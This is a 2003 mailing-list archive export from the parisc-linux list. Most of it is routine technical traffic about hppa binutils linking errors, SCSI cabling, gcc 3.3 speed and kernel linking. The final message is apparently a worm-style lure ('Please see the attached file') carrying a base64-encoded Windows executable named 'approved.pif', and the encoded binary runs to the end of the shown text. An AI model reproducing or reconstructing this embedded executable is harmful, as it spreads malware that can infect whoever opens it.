> > /tmp/ccC3fZeH.o(.text+0x1c): In function `call_foo':
> > : undefined reference to `foo'
> 
> This should fix it.  Would someone mind applying it for me?  I'm in
> transit at the moment and internet access is slow and flaky.  2.14
> branch too, I guess.
> 
> 	* elf32-hppa.c (elf32_hppa_relocate_section): Delete bogus
> 	undefined_symbol call.

I'm not fully up to speed on this but there still appear to be problems
with undefined symbols in shared libraries:

gcc -L/home/dave/binutils-2.14.90/objdir/ld -g -g -O2  -DHIDDEN_TEST -fpic -B/ho
me/dave/binutils-2.14.90/objdir/ld/tmpdir/gas/ -I/home/dave/binutils-2.14.90/src
/ld/testsuite/ld-elfvsb -g -O2  -c /home/dave/binutils-2.14.90/src/ld/testsuite/
ld-elfvsb/sh1.c -o tmpdir/sh1p.o
gcc -L/home/dave/binutils-2.14.90/objdir/ld -g -g -O2  -DHIDDEN_TEST -fpic -B/ho
me/dave/binutils-2.14.90/objdir/ld/tmpdir/gas/ -I/home/dave/binutils-2.14.90/src
/ld/testsuite/ld-elfvsb -g -O2  -c /home/dave/binutils-2.14.90/src/ld/testsuite/
ld-elfvsb/sh2.c -o tmpdir/sh2p.o
gcc -L/home/dave/binutils-2.14.90/objdir/ld -B/home/dave/binutils-2.14.90/objdir
/ld/tmpdir/ld/ -L/home/dave/opt/gnu/hppa-linux/lib -L/home/dave/opt/gnu/lib -L/u
sr/local/lib -L/lib -L/usr/lib  -o tmpdir/vp.so -shared  tmpdir/sh1p.o tmpdir/sh
2p.o
tmpdir/sh1p.o(.text+0x0): In function `shlib_mainvar':
/home/dave/binutils-2.14.90/src/ld/testsuite/ld-elfvsb/sh1.c:32: undefined refer
ence to `mainvar'
...
FAIL: visibility (hidden)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 15:58:03 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030602215803.GC3983@dsl2.external.hp.com>
References: <3ED70CF100000B3C@ocpmta2.freegates.net> <Pine.LNX.4.44.0306022044001.1415-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622492 26389 80.91.229.3 (22 Nov 2014 02:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:52 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 15:58:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9160A4829; Mon,  2 Jun 2003 15:58:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0306022044001.1415-300000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18599

On Mon, Jun 02, 2003 at 09:20:06PM +0100, M. Grabert wrote:
> I didn't have problems with the UW-SCSI that was originally in the HP - as
> far as I can remember - these problems just show up with this
> 'replacement' SE-SCSI Segate Harddisk.

Was the original configuration using LVD?
(SE requires much shorter cables than LVD for the same transfer rates)

Have you looked for firmware updates for the disk?
Have you tried forcing the SCSI bus to a slower transfer rate?

> Yeah, I also think there is no problem with LVD, it's just appears to
> happens with the SE-SCSI bus and this hard disk (and the hard disk seems
> to be fine if connected to other computers).

Smells like a cable length/termination issue.

grant


From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [hppa] binutils will not build shared libraries with external deps?
Date: Tue, 3 Jun 2003 09:09:49 +1000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030602230949.GB17437__23652.692003134$1416622493$gmane$org@ozlabs.au.ibm.com>
References: <20030528190706.GC21904@bubble.sa.bigpond.net.au> <200306022110.h52LAdt3024082@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622493 26391 80.91.229.3 (22 Nov 2014 02:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:53 +0000 (UTC)
Cc: tausq@debian.org, bug-binutils@gnu.org,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org,
	debian-gcc@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 17:10:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ausmtp01.au.ibm.com (ausmtp01.au.ibm.com [202.81.18.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4014B4829
	for <parisc-linux@parisc-linux.org>; Mon,  2 Jun 2003 17:10:46 -0600 (MDT)
Original-Received: from sd0112e0.au.ibm.com (d23rh903.au.ibm.com [202.81.18.201])
	by ausmtp01.au.ibm.com (8.12.9/8.12.9) with ESMTP id h52N8xa6139086;
	Tue, 3 Jun 2003 09:09:00 +1000
Original-Received: from ozlabs.au.ibm.com (ozlabs.au.ibm.com [9.190.163.12])
	by sd0112e0.au.ibm.com (8.12.9/NCO/VER6.5) with ESMTP id h52Muibv021396;
	Tue, 3 Jun 2003 08:56:46 +1000
Original-Received: by ozlabs.au.ibm.com (Postfix, from userid 1009)
	id 83C8E17DE1; Tue,  3 Jun 2003 09:09:49 +1000 (EST)
Content-Disposition: inline
In-Reply-To: <200306022110.h52LAdt3024082@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18600

On Mon, Jun 02, 2003 at 05:10:38PM -0400, John David Anglin wrote:
> tmpdir/sh1p.o(.text+0x0): In function `shlib_mainvar':
> /home/dave/binutils-2.14.90/src/ld/testsuite/ld-elfvsb/sh1.c:32: undefined refer
> ence to `mainvar'
> ...
> FAIL: visibility (hidden)

Fixing this one probably requires porting some of the recent changes
I made for x86 and ppc to hppa.  See SYMBOL_REFERENCES_LOCAL and
SYMBOL_CALLS_LOCAL.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Tue, 3 Jun 2003 09:14:40 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <3ED70CF100001190@ocpmta2.freegates.net>
References: <200306021732.h52HWKNp010654@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622493 26394 80.91.229.3 (22 Nov 2014 02:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:53 +0000 (UTC)
Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	joel.soete@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 01:14:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E63994829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 01:14:54 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19N5zZ-0002V7-00; Tue, 03 Jun 2003 09:13:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 3 Jun 2003 09:14:40 +0200
In-Reply-To: <200306021732.h52HWKNp010654@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18601

>-- Original Message --
>Subject: Re: [parisc-linux] compiler & kernel
>To: joel.soete@tiscali.be (Joel Soete)
>Date: Mon, 2 Jun 2003 13:32:20 -0400 (EDT)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org
>
>
>> >hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
> >  seems to work fine but obviously ipt_limit.o is miscompiled:
> >  I can insmod it, but iptable wouldn't recognize the --limit* options.
> >  There are still some problems with some modules
>and canonicalize_funcptr,
> >
> Are you sure this is with hppa64-gcc (iirc canonicalize.., was just 
> recently backport to 3.2)?

> hppa64-gcc does not canonicalize function pointers.

Thanks to confirm (without my full mb I was not quiet sure of my memory :)
)


> >  Man, gcc-3.3 is SLOW! it takes ages to compile the kerne
>!

> I suspect this is related to changes in the inlining model.  This is
> definitely a problem with certain C++ applications. 

I did not observe this behaviour on my b180 b2k or N with gcc-3.3 to compile
various _kernel_ (not C++) 2.4.20 or 2.4.21  (just always anoying canonicalize_
pb and execpted (void *) cast work-around for builtin function, I do not
yet find an easy way to solved module pb)

btw I notice another difference between 32bits and 64bits kernels:
# file vmlinux-2.4.21-rc6-pa35
vmlinux-2.4.21-rc6-pa35: ELF 32-bit MSB ..., statically linked, not stripped

# file vmlinux-2.4.21-rc4-pa35
vmlinux-2.4.21-rc4-pa35: ELF 64-bit MSB ..., dynamically linked (uses share
libs), ...

In the 32-bits case I well understand that kernel was staticaly linked but
I but surprised that 64-bit kernel is dynamically linked? 


> If anybody can
> generate profile and/or pass timing data for 3.3 versus 3.0.4, I
> would like to see them.

Anyway could you let me know how to 'generate this profile'


Thanks for attention,
    Joel

---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H Timothy Trinh <timtrinh@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] H Timothy Trinh/Somerset/IBM is out of the office.
Date: Tue, 3 Jun 2003 08:09:49 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <OF047148B5.8883CB0B-ON87256D3A.004DCD98-87256D3A.004DCD98@us.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416622493 26397 80.91.229.3 (22 Nov 2014 02:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 08:09:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id E69334829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 08:09:56 -0600 (MDT)
Original-Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11])
	by e33.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h53E9tXD306460
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 10:09:55 -0400
Original-Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82])
	by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.5) with ESMTP id h53E9sux051928
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 08:09:54 -0600
X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0.1 [IBM]|May 27, 2003) at
 06/03/2003 08:09:54
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18602




I will be out of the office starting June 3, 2003 and will not return until
June 4, 2003.




From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Tue, 3 Jun 2003 10:18:03 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200306031418.h53EI399028101@hiauly1.hia.nrc.ca>
References: <3ED70CF100001190@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622494 26398 80.91.229.3 (22 Nov 2014 02:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:54 +0000 (UTC)
Cc: joel.soete@tiscali.be, xam@cs.ucc.ie,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 08:18:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2602D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 08:18:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h53EI4gL028103;
	Tue, 3 Jun 2003 10:18:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h53EI399028101;
	Tue, 3 Jun 2003 10:18:03 -0400 (EDT)
In-Reply-To: <3ED70CF100001190@ocpmta2.freegates.net> from "Joel Soete" at Jun 3, 2003 09:14:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18603

> # file vmlinux-2.4.21-rc4-pa35
> vmlinux-2.4.21-rc4-pa35: ELF 64-bit MSB ..., dynamically linked (uses share
> libs), ...
> 
> In the 32-bits case I well understand that kernel was staticaly linked but
> I but surprised that 64-bit kernel is dynamically linked? 

This is a limitation of the 64-bit linker.  Binaries still need an
interpreter for startup even when linked with -static.  This probably
could be fixed but the use of static binaries under 64-bit hpux is
discouraged.  Under hpux, the linker needs to define some extra symbols
when a static binary is created.

> Anyway could you let me know how to 'generate this profile'

Look at the -Q, -ftime-report and -fmem-report options.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <office@boesch.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Your application
Date: Tue, 3 Jun 2003 17:12:07 +0200
Lines: 1015
Approved: news@gmane.org
Message-ID: <20030603151207.CAE0B4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="CSmtpMsgPart123X456_000_01954402"
X-Trace: ger.gmane.org 1416622494 26401 80.91.229.3 (22 Nov 2014 02:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:54 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 09:12:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from D012-10 (unknown-0-2-1e-f6-39-17-D012-10.dh.uclv.net [193.170.102.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAE0B4829
	for <parisc-linux@parisc-linux.org>; Tue,  3 Jun 2003 09:12:07 -0600 (MDT)
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18604

This is a multipart message in MIME format

--CSmtpMsgPart123X456_000_01954402
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file.
--CSmtpMsgPart123X456_000_01954402
Content-Type: application/octet-stream;
	name="approved.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="approved.pif

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABSj0hvFu4mPBbuJjwW7iY8lfIoPAzuJjz+8Sw8bO4mPEDxNTwb7iY8Fu4m
PBXuJjwW7ic8hu4mPHTxNTwb7iY8/vEtPA3uJjxSaWNoFu4mPAAAAAAAAAAAUEUAAEwBAwBEk9c+
AAAAAAAAAADgAA8BCwEGAADgAAAAEAAAABABANDyAQAAIAEAAAACAAAAQAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAEAIAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAAAAIA0AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABDREQwAAAAAAAQAQAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgQ0REMQAAAAAA
4AAAACABAADWAAAABAAAAAAAAAAAAAAAAAAAQAAA4ENERDIAAAAAABAAAAAAAgAAAgAAANoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
